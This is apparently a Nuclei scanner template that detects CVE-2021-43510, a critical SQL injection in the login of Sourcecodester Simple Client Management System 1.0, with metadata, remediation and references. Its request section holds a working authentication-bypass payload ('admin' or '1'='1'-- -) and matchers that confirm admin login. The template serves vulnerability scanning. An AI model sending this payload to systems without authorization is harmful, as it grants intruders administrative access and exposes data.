id: CVE-2021-43510 info: name: Sourcecodester Simple Client Management System 1.0 - SQL Injection author: edoardottt severity: critical description: | Sourcecodester Simple Client Management System 1.0 contains a SQL injection vulnerability via the username field in login.php. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. remediation: | Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the Sourcecodester Simple Client Management System 1.0. reference: - https://github.com/r4hn1/Simple-Client-Management-System-Exploit/blob/main/CVE-2021-43510 - https://www.sourcecodester.com/php/15027/simple-client-management-system-php-source-code.html - https://nvd.nist.gov/vuln/detail/CVE-2021-43510 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-43510 cwe-id: CWE-89 epss-score: 0.01901 epss-percentile: 0.87048 cpe: cpe:2.3:a:simple_client_management_system_project:simple_client_management_system:1.0:*:*:*:*:*:*:* metadata: verified: true max-request: 2 vendor: simple_client_management_system_project product: simple_client_management_system tags: cve,cve2021,simpleclientmanagement,sqli,auth-bypass http: - raw: - | POST /classes/Login.php?f=login HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded username=admin'+or+'1'%3d'1'--+-&password=as - | GET / HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded cookie-reuse: true req-condition: true matchers: - type: dsl dsl: - 'contains(header_1, "text/html")' - 'status_code_1 == 200' - 'contains(body_1, "{\"status\":\"success\"}")' - 'contains(body_2, "Welcome to Simple Client")' condition: and